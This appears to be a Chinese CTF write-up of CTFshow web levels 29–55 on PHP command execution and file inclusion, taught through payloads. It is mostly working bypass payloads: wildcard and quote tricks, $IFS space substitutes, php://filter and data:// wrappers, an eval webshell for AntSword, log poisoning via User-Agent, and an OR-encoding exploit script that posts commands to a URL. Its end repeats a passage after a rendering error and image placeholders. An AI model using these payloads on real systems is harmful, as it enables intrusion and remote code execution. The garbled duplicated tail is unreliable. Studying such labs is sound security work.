0
点赞
收藏
分享

微信扫一扫

CTFshow刷题日记-WEB-命令执行上29-55

看山远兮 2022-12-20 阅读 101


类型一:

变量c来接受并过滤传入的数据,eval函数来执行

web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了flag,使用*号,通配符绕过即可

/?c=system("cat%20fla*");

hint:

echo `nl fl''ag.ph''p`;

nl命令:nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号

看了y4的博客发现更多骚操作

1.通配符fla?绕过flag检测
2.c=echo `nl fl\ag.php`;//转义字符绕过
3.通过变量赋值直接绕过c的过滤 c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
4.c=eval($_GET[1]);&1=system('nl flag.php');

5.linux命令
c=awk '{printf $0}' flag.php||这个方法没试成功

web30

if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

system可以用 ` 反引号来代替去执行命令

/?c=echo%20`nl%20fla*`;

查看源码,拿到flag

当然也有其他的函数可以代替system

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()

可以读取文件的函数

readfile()      读取文件
highlight_file() 读文件
show_source() 同上
base64_decode() base64解码
strrev() 反转字符串

web31

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

代替cat的命令

more: 一页一页的显示档案内容
less: 与 more 类似 head:查看头几行
tac: 从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail: 查看尾几行
nl: 显示内容,顺便输出行号
od: 以二进制的方式读取档案内容
vi: 一种编辑器,这个也可以查看
vim: 一种编辑器,这个也可以查看
sort: 文件排序并输出也可以查看内容
uniq: 可以查看 file -f:报错出具体内容 grep
strings: 在对象文件或二进制文件中查找可打印的字符串, 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
paste 把每个文件以列对列的方式,一列列地加以合并
grep grep { flag.php打印有”{“的一行
sed 一种编辑器,可以用sed -f flag.php读取flag

linux绕过空格

cat%09flag
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
ca\t fl\ag
多试试

payload:

c=echo(`tac%09fl*`);
c=eval($_GET[1]);&1=system('nl flag.php');
// bug级别存在,也可以用伪协议读文件
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
//查看当前目录下的文件,反向找到flag.php,高亮显示
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`); //通配符
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*"); //等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符

web32

preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)

include可以不用括号,分号用?>代替

payload:利用伪协议

1.c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=index.php
2.c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
//f12查看源码可以看到flag
3.c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
//和第二种方法伪协议一致,多加了一层base64
4.c=include$_GET[1]?>&1=各种伪协议

web33

多过滤了双引号,然而我们的payload并没有出现",可以用32的payload

c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web34

增加了过滤冒号

preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)

可以用32的payload

web35

多过滤了左括号和等于号

preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)

可以用32的payload

web36

多过滤了 / 数字

preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)

c=include$_GET[1]?>中没有被过滤的字符,所以可以用32的payload

类型二:

变量c接收并过滤传入的数据,include来包含文件

web37

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}

$c没有执行, 而是包含文件

payload:

利用data伪协议去包含文件

data伪协议的格式
data://text/plain;base64,
data:资源类型(MIME类型);编码,内容

1.c=data://text/plain,<?php system("cat fla*");?>
读flag
2.c=data:,<?php @eval($_POST['shell']); ?>
可以直接用蚁剑连接
3.c=data:text/base64,PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTsgPz4=

data类型扩展
data:,<文本数据>
data:text/plain,<文本数据>
data:text/html,<HTML代码>
data:text/html;base64,<base64编码的HTML代码>
data:text/css,<CSS代码>
data:text/css;base64,<base64编码的CSS代码>
data:text/javascript,<Javascript代码>
data:text/javascript;base64,<base64编码的Javascript代码>
data:image/gif;base64,base64编码的gif图片数据
data:image/png;base64,base64编码的png图片数据
data:image/jpeg;base64,base64编码的jpeg图片数据
data:image/x-icon;base64,base64编码的icon图片数据

既然是文件包含也就有文件包含的做法了

去读取日志文件

c=/var/log/nginx/access.log

在ua头里放入php文件, 文件包含可以将任意后缀名文件作为php文件执行

web38

上题基础上增加过滤了php和file, 这个时候data协议可以base编码的优势就显示出来了

c=data:text/base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhKiIpOw==

需要f12看源码

web39

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

过滤flag, 但是文件包含处拼接了.php

这个时候data伪协议处了编码的还是可以使用

payload

c=data://text/plain,<?php system("cat fla*");?>

CTFshow刷题日记-WEB-命令执行上29-55_sed

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

web40

属于类型一

CTFshow刷题日记-WEB-命令执行上29-55_php_02

发现过滤了中文右括号,:,数字等

过滤了冒号伪协议不能用了, 但是没有过滤分号和英文括号

payload:

1.c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

2.c=show_source(next(array_reverse(scandir(pos(localeconv())))));

web41

属于类型一

过滤:

if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}

这个题过滤了​​$、+、-、^、~​​使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符​​|​​​。
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
这里先给出两个脚本 exp.py rce_or.php,大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。
​​​生成可用字符的集合​

<?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile);

大体意思就是​​从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符​​​ 传递参数getflag
用法 ​​python exp.py <url>​

# -*- coding: utf-8 -*- import requests import urllib from sys import * import os os.system("php rce_or.php") #没有将php写入环境变量需手动运行 if(len(argv)!=2): print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) url=argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)

类型三:

接受并过滤传入的变量拼接命令执行(system函数)

web42

if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

分隔符变量拼接可以用分隔符来控制后面语句的执行

比如: 分隔符

  • ; 分号顺序执行
  • && 顺序执行
  • || 前边执行成功则不再执行
  • 换行符(在url中是%0a)
  • & (在url中是%26)

payload

c=cat flag.php%26
上边的分隔符都可以

查看源代码

web43

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}

比上题多过滤了cat和分号,替换下就行了

?c=tac flag.php%0a

查看源代码

web44

过滤:

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}

payload:

?c=tac fla*%0a
?c=ca''t fla*%0a

web45

过滤

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}

比上题多了绕过空格

?c=ca''t%09fla*%0a
?c=nl%09fla\g.php%0a

替换空格

%09,%20,$IFS、${IFS}、$IFS$9,{tac,*},<,<>
不行就换

web46

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}

payload

c=nl%09fla""g.php%0a
c=tac%09fl[a-z]g.php||
....
%09只是url编码问题,并不能被过滤

web47

过滤

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}

payload

c=nl<fla''g.php||
c=nl<fla''g.php%0a
c=nl%26fla''g.php||
c=tac<fla''g.php||
.......

web48

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}

发现比上题多过滤了几个命令,其实没有影响

?c=tac%09fla''g.php||
。。。

web49

preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i")

多过滤了%号,原来的%09替换空格和%0a替换分号都不能用了

payload:

?c=tac<fla""g.php||
.....

web50

preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)

也就是%09和%26(&符号)不能用了

和上题的payload一样

?c=tac<fla''g.php||
命令还有
nl
空格绕过还可以用
<> ,{tac,*}
分割符绕过还可以用

web51

preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)

tac终于被过滤了

c=ta''c<>fla''g.php||
命令和flag依然可以用单引号和双引号拼接绕过正则

web52

preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)

<>尖括号被过滤了但是$没过滤

payload

c=nl$IFS\fla\g.php||
c=nl$IFS\fla?.php||

web53

preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)

多了wget,不过没影响

web53

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}

不需要使用命令分隔符

payload

?c=ca''t$IFS\fla\g.php
?c=nl$IFS\fla?.php
?c''at${IFS}fla''g.p''hp
......

web54

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}

相当于之前ca’'t这种的失效了

tips: /bin下存放一些普通的基本命令

CTFshow刷题日记-WEB-命令执行上29-55_sed_03

可以使用通配符去调用命令

payload

?c=/bin/?at${IFS}f???????
?c=/bin/??t$IFS????????

linux find * 和 *? 的区别

普通正则表达式里面 * 的含义是匹配0 or 1 个字符

linux find默认使用的正则语法是基于emac实现的,Emacs语法里面 * 表示1个或者多个,其实等同于 .* 的用法,即贪婪匹配

web55

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}

不能出现英文字符

?c=/???/????64 ????????
但是这个不是通用的,base64不是每个机器都用

CTFshow刷题日记-WEB-命令执行上29-55_sed_04

第二种方法在下一篇文章中介绍
|.*s.*c.p.|.*r.m.|`|%|\x09|\x26|>|</i", KaTeX parse error: Expected '}', got 'EOF' at end of input: … system(c);
}
}

相当于之前ca''t这种的失效了

tips: /bin下存放一些普通的基本命令

[外链图片转存中...(img-45zhXmme-1630677985784)]

可以使用通配符去调用命令

payload

```url
?c=/bin/?at${IFS}f???????
?c=/bin/??t$IFS????????

linux find * 和 *? 的区别

普通正则表达式里面 * 的含义是匹配0 or 1 个字符

linux find默认使用的正则语法是基于emac实现的,Emacs语法里面 * 表示1个或者多个,其实等同于 .* 的用法,即贪婪匹配

web55

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}

不能出现英文字符

?c=/???/????64 ????????
但是这个不是通用的,base64不是每个机器都用

第二种方法在下一篇文章中介绍


举报

相关推荐

0 条评论